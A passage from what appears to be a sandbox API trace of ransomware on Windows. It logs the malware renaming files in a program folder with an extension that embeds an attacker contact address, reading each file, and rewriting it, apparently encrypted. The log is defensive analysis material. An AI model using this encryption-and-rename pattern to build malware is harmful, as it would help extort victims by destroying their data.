lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0218.605] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0218.606] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0218.606] GetProcessHeap () returned 0x630000 [0218.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x72e8a18 [0218.606] GetProcessHeap () returned 0x630000 [0218.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x72f2ae8 [0218.606] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.606] ReadFile (in: hFile=0x6f4, lpBuffer=0x72e8a18, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e8a18*, lpNumberOfBytesRead=0x573ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0223.115] GetProcessHeap () returned 0x630000 [0223.115] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0223.115] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.116] WriteFile (in: hFile=0x6f4, lpBuffer=0x72f2ae8*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f2ae8*, lpNumberOfBytesWritten=0x573ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.546] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.546] WriteFile (in: hFile=0x6f4, lpBuffer=0x72fcb87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72fcb87*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.234] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.234] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.234] CloseHandle (hObject=0x6f4) returned 1 [0225.754] GetProcessHeap () returned 0x630000 [0225.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f2ae8 | out: hHeap=0x630000) returned 1 [0225.754] GetProcessHeap () returned 0x630000 [0225.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e8a18 | out: hHeap=0x630000) returned 1 [0225.755] GetProcessHeap () returned 0x630000 [0225.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0225.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c330a2e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xa5c7496, dwReserved1=0x72e8a10, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0225.960] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.960] Sleep (dwMilliseconds=0x1) [0225.971] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml") returned 1 [0225.971] GetProcessHeap () returned 0x630000 [0225.971] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0225.971] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0225.971] CloseHandle (hObject=0x698) returned 1 [0225.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.972] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0226.098] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0226.098] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0226.098] GetProcessHeap () returned 0x630000 [0226.098] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x69a4d0 [0226.098] GetProcessHeap () returned 0x630000 [0226.098] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x6d9b40 [0226.098] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.098] ReadFile (in: hFile=0x698, lpBuffer=0x69a4d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69a4d0*, lpNumberOfBytesRead=0x573ff0c*=0x200, lpOverlapped=0x0) returned 1 [0226.102] GetProcessHeap () returned 0x630000 [0226.102] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0226.102] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.102] WriteFile (in: hFile=0x698, lpBuffer=0x6d9b40*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9b40*, lpNumberOfBytesWritten=0x573ff0c*=0x200, lpOverlapped=0x0) returned 1 [0226.102] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.102] WriteFile (in: hFile=0x698, lpBuffer=0x6d9d3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9d3f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.102] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.102] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.102] CloseHandle (hObject=0x698) returned 1 [0226.103] GetProcessHeap () returned 0x630000 [0226.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9b40 | out: hHeap=0x630000) returned 1 [0226.103] GetProcessHeap () returned 0x630000 [0226.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69a4d0 | out: hHeap=0x630000) returned 1 [0226.103] GetProcessHeap () returned 0x630000 [0226.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0226.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4cb62d94, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0xa5c7496, dwReserved1=0x69a4c8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0226.103] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.103] Sleep (dwMilliseconds=0x1) [0228.136] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml") returned 1 [0228.136] GetProcessHeap () returned 0x630000 [0228.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x511c) returned 0x6fe3bb0 [0228.137] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.138] CloseHandle (hObject=0x704) returned 1 [0228.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0228.138] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0228.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d52c0 [0228.139] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0228.139] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.139] GetProcessHeap () returned 0x630000 [0228.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc130 [0228.139] GetProcessHeap () returned 0x630000 [0228.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc328 [0228.139] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.139] ReadFile (in: hFile=0x704, lpBuffer=0x6dc130, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc130*, lpNumberOfBytesRead=0x573ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0228.142] GetProcessHeap () returned 0x630000 [0228.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0228.142] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.142] WriteFile (in: hFile=0x704, lpBuffer=0x6dc328*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc328*, lpNumberOfBytesWritten=0x573ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0228.142] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.142] WriteFile (in: hFile=0x704, lpBuffer=0x6dc4e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc4e7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0228.143] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.143] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0228.143] CloseHandle (hObject=0x704) returned 1 [0228.143] GetProcessHeap () returned 0x630000 [0228.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc328 | out: hHeap=0x630000) returned 1 [0228.144] GetProcessHeap () returned 0x630000 [0228.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc130 | out: hHeap=0x630000) returned 1 [0228.144] GetProcessHeap () returned 0x630000 [0228.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0228.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4deeafec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x573fd20, dwReserved1=0x6dc130, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0228.144] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0228.144] Sleep (dwMilliseconds=0x1) [0228.152] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml") returned 1 [0228.152] GetProcessHeap () returned 0x630000 [0228.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5118) returned 0x6fe3bb0 [0228.152] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.152] CloseHandle (hObject=0x704) returned 1 [0228.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0228.153] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0228.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0228.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0228.154] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0228.154] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0228.154] GetProcessHeap () returned 0x630000 [0228.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4370 [0228.154] GetProcessHeap () returned 0x630000 [0228.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0228.154] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.154] ReadFile (in: hFile=0x704, lpBuffer=0x6f4370, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4370*, lpNumberOfBytesRead=0x573ff0c*=0x180, lpOverlapped=0x0) returned 1 [0228.156] GetProcessHeap () returned 0x630000 [0228.156] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0228.157] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.157] WriteFile (in: hFile=0x704, lpBuffer=0x6f3c90*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesWritten=0x573ff0c*=0x180, lpOverlapped=0x0) returned 1 [0228.157] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.157] WriteFile (in: hFile=0x704, lpBuffer=0x6f3e0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e0f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0228.157] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.157] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0228.157] CloseHandle (hObject=0x704) returned 1 [0228.157] GetProcessHeap () returned 0x630000 [0228.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0228.157] GetProcessHeap () returned 0x630000 [0228.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4370 | out: hHeap=0x630000) returned 1 